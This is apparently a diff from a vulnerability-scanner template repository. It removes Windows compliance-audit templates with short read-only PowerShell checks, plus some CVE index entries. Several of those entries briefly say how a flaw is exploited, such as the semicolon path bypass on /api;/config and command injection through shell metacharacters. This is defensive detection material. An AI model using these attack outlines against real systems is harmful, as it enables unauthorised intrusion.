-  name: Remote Registry Service Disabled Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure the Remote Registry Service is disabled to block remote access to the Windows registry. Allowing remote registry access can lead to unauthorized changes and pose a serious security risk.
-  impact: |
-    If the Remote Registry Service is enabled, attackers with administrative privileges could remotely access and modify registry settings, heightening the risk of system compromise.
-  remediation: |
-    Disable the Remote Registry Service by setting its startup type to "Disabled" (Start value = 4) using one of the following methods:
-    - Registry Editor: Navigate to
-       - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteRegistry and set the Start value to 4.
-        - Services Console: Locate the Remote Registry service, set its startup type to "Disabled", and stop the service.
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: code,windows-audit,kisa,registry,remote-access
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $remoteRegistry = Get-Service -Name RemoteRegistry -ErrorAction SilentlyContinue
-      if ($remoteRegistry -and $remoteRegistry.Status -eq "Running") {
-          "REMOTE_REGISTRY_ENABLED"
-      } else {
-          "REMOTE_REGISTRY_DISABLED"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "REMOTE_REGISTRY_ENABLED"
-# digest: 490a0046304402203fb235c6a7ca71c6858e31c863effedd845cf40e384b97b22051a206c0bbcc08022020ec6be858126ba85edc925c32e91882a68c38aadf86a1793bcd5670c54fde24:922c64590222798bb761d5b6d8e72950
@@ -1,52 +0,0 @@
-id: remote-system-shutdown
-
-info:
-  name: Remote System Forced Shutdown Privilege Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure the "Force shutdown from a remote system" policy (SeRemoteShutdownPrivilege) is assigned only to the Administrators group (SID: S-1-5-32-544). Granting this privilege to unauthorized accounts can allow attackers to remotely shut down the system, posing a significant risk.
-  impact: |
-    Granting this privilege to accounts or groups other than Administrators can be exploited to carry out unauthorized remote shutdowns, resulting in service disruptions or denial-of-service conditions.
-  remediation: |
-    Configure the policy to grant the SeRemoteShutdownPrivilege exclusively to the Administrators group by setting its value to S-1-5-32-544 only.
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: policy,code,windows-audit,kisa
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      # Export the current security settings to a configuration file.
-      $cfgPath = "C:\cfg.txt"
-      secedit /export /cfg $cfgPath | Out-Null
-      # Read the exported configuration file.
-      $cfg = Get-Content $cfgPath | Out-String
-      # Extract the SeRemoteShutdownPrivilege value.
-      if ($cfg -match "SeRemoteShutdownPrivilege\s*=\s*(.*)") {
-          $privs = $Matches[1].Trim()
-          # Check if only the Administrators SID (S-1-5-32-544) is present.
-          if ($privs -eq "S-1-5-32-544") {
-              "REMOTE_SHUTDOWN_PRIVILEGE_COMPLIANT"
-          } else {
-              "REMOTE_SHUTDOWN_PRIVILEGE_VULNERABLE"
-          }
-      } else {
-          "REMOTE_SHUTDOWN_PRIVILEGE_NOT_FOUND"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "REMOTE_SHUTDOWN_PRIVILEGE_VULNERABLE"
-# digest: 490a004630440220036867acb4067c5a103c2ebd6f8b8c3afc113f9c35cffdf696aa7951ab6eca3d022073e3c70aef90e0785eada52c27726cabdfe0020fd19de73994062f43744f8601:922c64590222798bb761d5b6d8e72950
@@ -1,59 +0,0 @@
-id: sam-file-access-control
-
-info:
-  name: SAM File Access Control Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure the SAM file (%SystemRoot%\system32\config\SAM) is secured so that only the Administrators and SYSTEM groups have full access.The presence of permissions for any other users or groups represents a potential security vulnerability.
-  impact: |
-    If users or groups besides Administrators and SYSTEM have access to the SAM file, attackers could exploit this to obtain sensitive password data, raising the risk of password-based attacks.
-  remediation: |
-    Revoke any permissions assigned to users or groups other than Administrators and SYSTEM by:
-    - Running the command: > cacls %systemroot%\system32\config\SAM /remove:g [UserOrGroup]
-    - Or by adjusting the permissions through File Explorer.
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: sam,account-management,code,windows-audit,kisa
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $samPath = "$env:SystemRoot\system32\config\SAM"
-      if (-Not (Test-Path $samPath)) {
-          "SAM_FILE_NOT_FOUND"
-          exit
-      }
-      # Retrieve the ACL for the SAM file
-      $acl = Get-Acl $samPath
-      # Define allowed identities (variations may exist)
-      $allowed = @("BUILTIN\Administrators", "Administrators", "NT AUTHORITY\SYSTEM", "SYSTEM")
-      $vulnerable = $false
-      foreach ($ace in $acl.Access) {
-          $account = $ace.IdentityReference.ToString()
-          if ($allowed -notcontains $account) {
-              $vulnerable = $true
-              break
-          }
-      }
-      if ($vulnerable) {
-          "SAM_ACCESS_VULNERABLE"
-      } else {
-          "SAM_ACCESS_COMPLIANT"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "SAM_ACCESS_VULNERABLE"
-# digest: 490a00463044022040dec32d4771631e7b3d39511a48983e2fadad35eb9c1c0ddd873fbdf3d204ab02203870f2731378bab592f0218f083a88ca737324ef53a99f9a182488e58c645970:922c64590222798bb761d5b6d8e72950
@@ -1,65 +0,0 @@
-id: service-pack-check
-
-info:
-  name: Latest Service Pack Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Confirm that the system is updated with the latest security patches and service packs. Regular updates help protect against known vulnerabilities.
-  impact: |
-    Neglecting to install the latest service packs or updates can leave the system vulnerable to exploits and security breaches.
-  remediation: |
-    Apply the latest service packs or build updates as follows:
-      - Windows Server 2012: Refer to https://support.microsoft.com/ko-kr/help/4009470
-      - Windows Server 2016: Refer to https://support.microsoft.com/ko-kr/help/4043454
-      - Windows Server 2019: Refer to https://support.microsoft.com/ko-kr/help/4581839
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: code,windows-audit,kisa,service-pack,security,patch-management
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-
-    engine:
-      - powershell
-      - powershell.exe
-
-    args:
-      - -ExecutionPolicy
-      - Bypass
-
-    pattern: "*.ps1"
-    source: |
-      # Retrieve operating system details.
-      $os = Get-CimInstance -ClassName Win32_OperatingSystem
-      $caption = $os.Caption
-      $servicePack = $os.ServicePackMajorVersion
-      # For Windows Server 2012, a service pack should be installed.
-      if ($caption -match "2012") {
-          if ($servicePack -gt 0) {
-              "SERVICE_PACK_COMPLIANT"
-          } else {
-              "SERVICE_PACK_VULNERABLE"
-          }
-      }
-      # For Windows Server 2016, 2019, or 2022, service packs are generally not applicable; assume compliance.
-      elseif ($caption -match "2016" -or $caption -match "2019" -or $caption -match "2022") {
-          "SERVICE_PACK_COMPLIANT"
-      }
-      else {
-          # For other versions, check if a service pack is installed.
-          if ($servicePack -gt 0) {
-              "SERVICE_PACK_COMPLIANT"
-          } else {
-              "SERVICE_PACK_VULNERABLE"
-          }
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "SERVICE_PACK_VULNERABLE"
-# digest: 4b0a00483046022100e9936511acbd6aa8d53493ae304f9720cfa57633ba6f5445fe28f0f73ef15771022100c72324f300f46d3125f554310e950c43b8db81b69cc2df67c0f2c8caf05fa698:922c64590222798bb761d5b6d8e72950
@@ -1,44 +0,0 @@
-id: shutdown-without-logon
-
-info:
-  name: Shutdown Without Logon Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure the "Shutdown Without Logon" policy is disabled by confirming that the ShutdownWithoutLogon registry value is set to 0. If enabled, the system permits shutdown from the logon screen, increasing the risk of unauthorized shutdowns.
-  impact: |
-    When enabled, this setting permits unauthorized users to shut down the system without logging in, which can lead to service interruptions.
-  remediation: |
-    Disable this policy by setting the ShutdownWithoutLogon registry value to 0 at:
-    - HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System
-    - Alternatively, configure the setting through the Local Security Policy.
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: code,windows-audit,kisa,registry
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $regPath = "HKLM:\Software\Microsoft\Windows\CurrentVersion\policies\system"
-      $shutdownValue = (Get-ItemProperty -Path $regPath -Name ShutdownWithoutLogon -ErrorAction SilentlyContinue).ShutdownWithoutLogon
-      if ($shutdownValue -eq 0) {
-          "SHUTDOWN_WITHOUT_LOGON_DISABLED"
-      } else {
-          "SHUTDOWN_WITHOUT_LOGON_ENABLED"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "SHUTDOWN_WITHOUT_LOGON_ENABLED"
-# digest: 4a0a00473045022018857656947f47ed923eb8d6a88640c2ac9b97657ddfe5469fa3bba48425626f022100e6f589dadc2638398601e3c32538720e816c66f368ae54cbfc6f52dccd2a0de6:922c64590222798bb761d5b6d8e72950
@@ -1,57 +0,0 @@
-id: unnecessary-accounts-check
-
-info:
-  name: Unnecessary Accounts Detection
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description:
-    Identify local user accounts that deviate from default settings and could present security risks.
-  impact: |
-    Unmanaged accounts expand the attack surface, making credential-based attacks such as brute-force and password spraying more likely.
-  remediation: |
-    Delete unnecessary accounts by running:
-    - > net user [account_name] /delete
-    - Or disable them via Local Security Policy.
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: account-management,security-audit,code,windows-audit,kisa
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-
-    engine:
-      - powershell
-      - powershell.exe
-
-    args:
-      - -ExecutionPolicy
-      - Bypass
-
-    pattern: "*.ps1"
-    source: |
-      # Default system accounts SID patterns
-      $protectedSIDs = @('*-500', '*-501', '*-503', '*-504')
-      # Get all non-default local users
-      $users = Get-LocalUser | Where-Object {
-          $_.SID -notlike $protectedSIDs[0] -and
-          $_.SID -notlike $protectedSIDs[1] -and
-          $_.SID -notlike $protectedSIDs[2] -and
-          $_.SID -notlike $protectedSIDs[3]
-      }
-      # Output results
-      if ($users) {
-          $userList = $users.Name -join '|'
-          "UNNECESSARY_ACCOUNTS_FOUND: $userList"
-      } else {
-          "NO_UNNECESSARY_ACCOUNTS"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "UNNECESSARY_ACCOUNTS_FOUND:"
-        part: body
-# digest: 4a0a004730450221008a48585ba39dac74e089e350c9f13dcdb3967121ce24f5e39c3397fee0881e72022073c2b7cd07c39a8e4d3bca7c127017c253c1125fcd96d71312390de684319ef8:922c64590222798bb761d5b6d8e72950
@@ -1,54 +0,0 @@
-id: unnecessary-service-check
-
-info:
-  name: Unnecessary Service Removal Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure that unnecessary services such as Alerter, Clipbook, Messenger, and Simple TCP/IP Services are not running. If enabled, these services can expose the system to security vulnerabilities.
-  impact: |
-    Operating these services can offer attackers potential entry points to exploit the system, as they are known to have vulnerabilities.
-  remediation: |
-    To stop and disable these services, run:
-    > net stop [ServiceName]
-    > sc config [ServiceName] start= disabled
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: service-management,code,windows-audit,kisa
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-
-    engine:
-      - powershell
-      - powershell.exe
-
-    args:
-      - -ExecutionPolicy
-      - Bypass
-
-    pattern: "*.ps1"
-    source: |
-      $servicesToCheck = @("Alerter", "Clipbook", "Messenger", "Simple TCP/IP Services")
-      $vulnerable = $false
-      foreach ($svc in $servicesToCheck) {
-          $service = Get-Service -Name $svc -ErrorAction SilentlyContinue
-          if ($service -and $service.Status -eq "Running") {
-              $vulnerable = $true
-              break
-          }
-      }
-      if ($vulnerable) {
-          "UNNECESSARY_SERVICE_RUNNING"
-      } else {
-          "UNNECESSARY_SERVICE_STOPPED"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "UNNECESSARY_SERVICE_RUNNING"
-# digest: 4b0a00483046022100a5b51f0949b8d7d77496b26bff70e0fdbb95808825e0d377f3910ab091a21b68022100ad1b195f8c1da3fb1e3a4ed6985b3aa570e5981a0249476d8146c2f26fbe6ba1:922c64590222798bb761d5b6d8e72950
@@ -1125,8 +1125,6 @@
 {"ID":"CVE-2020-9483","Info":{"Name":"SkyWalking SQLI","Severity":"high","Description":"When using H2/MySQL/TiDB as Apache SkyWalking storage and a metadata query through GraphQL protocol, there is a SQL injection vulnerability which allows access to unexpected data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don't use the appropriate way to set SQL parameters.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2020/CVE-2020-9483.yaml"}
 {"ID":"CVE-2020-9484","Info":{"Name":"Apache Tomcat Remote Command Execution","Severity":"high","Description":"When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if\na) an attacker is able to control the contents and name of a file on the server; and\nb) the server is configured to use the PersistenceManager with a FileStore; and\nc) the PersistenceManager is configured with sessionAttributeValueClassNameFilter=\"null\" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and\nd) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control.\nNote that all of conditions a) to d) must be true for the attack to succeed.\n","Classification":{"CVSSScore":"7"}},"file_path":"http/cves/2020/CVE-2020-9484.yaml"}
 {"ID":"CVE-2020-9496","Info":{"Name":"Apache OFBiz 17.12.03 - Cross-Site Scripting","Severity":"medium","Description":"Apache OFBiz 17.12.03 contains cross-site scripting and unsafe deserialization vulnerabilities via an XML-RPC request.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-9496.yaml"}
-{"ID":"CVE-2020-9547","Info":{"Name":"FasterXML jackson-databind - Deserialization Remote Code Execution","Severity":"critical","Description":"FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap). This vulnerability allows attackers to execute arbitrary code through deserialization of untrusted data when polymorphic type handling (@JsonTypeInfo with use=JsonTypeInfo.Id.CLASS) is enabled.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-9547.yaml"}
-{"ID":"CVE-2020-9548","Info":{"Name":"FasterXML Jackson Databind \u003c=2.9.10.4 - Remote Code Execution","Severity":"critical","Description":"FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-9548.yaml"}
 {"ID":"CVE-2020-9757","Info":{"Name":"Craft CMS \u003c 3.3.0 - Server-Side Template Injection","Severity":"critical","Description":"Craft CMS before 3.3.0 is susceptible to server-side template injection via the SEOmatic component that could lead to remote code execution via malformed data submitted to the metacontainers controller.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-9757.yaml"}
 {"ID":"CVE-2021-1472","Info":{"Name":"Cisco Small Business RV Series - OS Command Injection","Severity":"critical","Description":"Cisco Small Business RV Series routers RV16X/RV26X versions 1.0.01.02 and before and RV34X versions 1.0.03.20 and before contain multiple OS command injection vulnerabilities in the web-based management interface. A remote attacker can execute arbitrary OS commands via the sessionid cookie or bypass authentication and upload files on an affected device.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-1472.yaml"}
 {"ID":"CVE-2021-1497","Info":{"Name":"Cisco HyperFlex HX Data Platform - Remote Command Execution","Severity":"critical","Description":"Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-1497.yaml"}
@@ -2877,7 +2875,6 @@
 {"ID":"CVE-2024-4940","Info":{"Name":"Gradio - Open Redirect","Severity":"medium","Description":"An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version. The vulnerability allows an attacker to redirect users to arbitrary websites, which can be exploited for phishing attacks, Cross-site Scripting (XSS), Server-Side Request Forgery (SSRF), amongst others. This issue is due to improper validation of user-supplied input in the handling of URLs. Attackers can exploit this vulnerability by crafting a malicious URL that, when processed by the application, redirects the user to an attacker-controlled web page.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2024/CVE-2024-4940.yaml"}
 {"ID":"CVE-2024-4956","Info":{"Name":"Sonatype Nexus Repository Manager 3 - Local File Inclusion","Severity":"high","Description":"Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-4956.yaml"}
 {"ID":"CVE-2024-49757","Info":{"Name":"Zitadel - User Registration Bypass","Severity":"high","Description":"The open-source identity infrastructure software Zitadel allows administrators to disable the user self-registration. Due to a missing security check in versions prior to 2.64.0, 2.63.5, 2.62.7, 2.61.4, 2.60.4, 2.59.5, and 2.58.7, disabling the \"User Registration allowed\" option only hid the registration button on the login page. Users could bypass this restriction by directly accessing the registration URL (/ui/login/loginname) and register a user that way. Versions 2.64.0, 2.63.5, 2.62.7, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 contain a patch. No known workarounds are available.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-49757.yaml"}
-{"ID":"CVE-2024-50334","Info":{"Name":"Scoold \u003c 1.64.0 - Authentication Bypass","Severity":"medium","Description":"Scoold is a Q\u0026A and a knowledge sharing platform for teams. A semicolon path injection vulnerability was found on the /api;/config endpoint. By appending a semicolon in the URL, attackers can bypass authentication and gain unauthorised access to sensitive configuration data. Furthermore, PUT requests on the /api;/config endpoint while setting the Content-Type- application/hocon header allow unauthenticated attackers to file reading via HOCON file inclusion. This allows attackers to retrieve sensitive information such as configuration files from the server, which can be leveraged for further exploitation. The vulnerability has been fixed in Scoold 1.64.0. A workaround would be to disable the Scoold API with scoold.api_enabled = false.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-50334.yaml"}
 {"ID":"CVE-2024-50340","Info":{"Name":"Symfony Profiler - Remote Access via Injected Arguments","Severity":"high","Description":"symfony/runtime is a module for the Symphony PHP framework which enables decoupling PHP applications from global state. When the `register_argv_argc` php directive is set to `on` , and users call any URL with a special crafted query string, they are able to change the environment or debug mode used by the kernel when handling the request. As of versions 5.4.46, 6.4.14, and 7.1.7 the `SymfonyRuntime` now ignores the `argv` values for non-SAPI PHP runtimes.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2024/CVE-2024-50340.yaml"}
 {"ID":"CVE-2024-50498","Info":{"Name":"WP Query Console \u003c= 1.0 - Remote Code Execution","Severity":"critical","Description":"Improper Control of Generation of Code ('Code Injection') vulnerability in LUBUS WP Query Console allows Code Injection.This issue affects WP Query Console- from n/a through 1.0.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-50498.yaml"}
 {"ID":"CVE-2024-50603","Info":{"Name":"Aviatrix Controller - Remote Code Execution","Severity":"critical","Description":"An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-50603.yaml"}
@@ -3035,7 +3032,6 @@
 {"ID":"CVE-2025-1661","Info":{"Name":"HUSKY – Products Filter Professional for WooCommerce \u003c= 1.3.6.5 - Unauthenticated Local File Inclusion","Severity":"critical","Description":"The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3.6.5 via the 'template' parameter of the woof_text_search AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1661.yaml"}
 {"ID":"CVE-2025-1743","Info":{"Name":"Pichome 2.1.0 - Arbitrary File Read","Severity":"high","Description":"A vulnerability, which was classified as critical, was found in zyx0814 Pichome 2.1.0. This affects an unknown part of the file /index.php?mod=textviewer. The manipulation of the argument src leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-1743.yaml"}
 {"ID":"CVE-2025-1974","Info":{"Name":"Ingress-Nginx Controller - Remote Code Execution","Severity":"critical","Description":"A security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1974.yaml"}
-{"ID":"CVE-2025-2010","Info":{"Name":"WordPress JobWP Plugin \u003c= 2.3.9 - SQL Injection","Severity":"critical","Description":"The JobWP - Job Board, Job Listing, Career Page and Recruitment Plugin plugin for WordPress is vulnerable to SQL Injection via the 'jobwp_upload_resume' parameter in all versions up to, and including, 2.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-2010.yaml"}
 {"ID":"CVE-2025-2011","Info":{"Name":"Slider \u0026 Popup Builder by Depicter \u003c= 3.6.1 - Unauthenticated SQL Injection","Severity":"high","Description":"The Slider \u0026 Popup Builder by Depicter plugin for WordPress is vulnerable to generic SQL Injection via the ‘s' parameter in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-2011.yaml"}
 {"ID":"CVE-2025-20188","Info":{"Name":"Cisco IOS XE WLC - Arbitrary File Upload","Severity":"critical","Description":"A vulnerability in the Out-of-Band Access Point (AP) Image Download feature of Cisco IOS XE Software for Wireless LAN Controllers (WLCs) could allow an unauthenticated, remote attacker to upload arbitrary files to an affected system.This vulnerability is due to the presence of a hard-coded JSON Web Token (JWT) on an affected system.An attacker could exploit this vulnerability by sending crafted HTTPS requests to the AP image download interface. A successful exploit could allow the attacker to upload files, perform path traversal, and execute arbitrary commands with root privileges.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-20188.yaml"}
 {"ID":"CVE-2025-2075","Info":{"Name":"Uncanny Automator \u003c= 6.3.0.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation","Severity":"high","Description":"The Uncanny Automator - Easy Automation, Integration, Webhooks \u0026 Workflow Builder Plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.0.2. This is due to add_role() and user_role() functions missing proper capability checks performed through the validate_rest_call() function. This makes it possible for unauthenticated attackers to set the role of arbitrary users to administrator granting full access to the site, though privilege escalation requires an active account on the site so this is considered an authenticated privilege escalation.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-2075.yaml"}
@@ -3085,22 +3081,17 @@
 {"ID":"CVE-2025-32101","Info":{"Name":"UNA CMS \u003c= 14.0.0-RC4 - PHP Object Injection","Severity":"critical","Description":"The vulnerability is located in the /template/scripts/BxBaseMenuSetAclLevel.php script. Specifically, within the BxBaseMenuSetAclLevel::getCode() method. When calling this method, user input passed through the \"profile_id\" POST parameter is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as writing and executing arbitrary PHP code.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-32101.yaml"}
 {"ID":"CVE-2025-32432","Info":{"Name":"CraftCMS - Remote Code Execution","Severity":"critical","Description":"Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity attack vector.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-32432.yaml"}
 {"ID":"CVE-2025-3248","Info":{"Name":"Langflow AI - Unauthenticated Remote Code Execution","Severity":"critical","Description":"Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-3248.yaml"}
-{"ID":"CVE-2025-32813","Info":{"Name":"Infoblox NetMRI \u003c 7.6.1 - Unauthenticated Command Injection in get_saml_request","Severity":"high","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Remote Unauthenticated Command Injection can occur.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2025/CVE-2025-32813.yaml"}
-{"ID":"CVE-2025-32814","Info":{"Name":"NetMRI Unauthenticated SQL Injection via skipjackUsername","Severity":"critical","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Unauthenticated SQL Injection can occur.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-32814.yaml"}
 {"ID":"CVE-2025-34026","Info":{"Name":"Versa Concerto Actuator Endpoint - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34026.yaml"}
 {"ID":"CVE-2025-34027","Info":{"Name":"Versa Concerto API Path Based - Authentication Bypass","Severity":"critical","Description":"Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34027.yaml"}
 {"ID":"CVE-2025-34028","Info":{"Name":"Commvault - SSRF via /commandcenter/deployWebpackage.do","Severity":"critical","Description":"A path traversal vulnerability in Commvault Command Center Innovation Release allows an unauthenticated actor to upload ZIP files, which, when expanded by the target server, result in Remote Code Execution. This issue affects Command Center Innovation Release: 11.38.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-34028.yaml"}
 {"ID":"CVE-2025-34031","Info":{"Name":"Moodle Jmol Filter 6.1 - Local File Inclusion","Severity":"high","Description":"Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-34031.yaml"}
 {"ID":"CVE-2025-34032","Info":{"Name":"Moodle LMS Jmol Plugin \u003c= 6.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-34032.yaml"}
-{"ID":"CVE-2025-34040","Info":{"Name":"Zhiyuan OA Platform - Arbitrary File Upload","Severity":"critical","Description":"An arbitrary file upload vulnerability exists in the Zhiyuan OA platform 5.0, 5.1 - 5.6sp1, 6.0 - 6.1sp2, 7.0, 7.0sp1 - 7.1, 7.1sp1, and 8.0 - 8.0sp2 via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34040.yaml"}
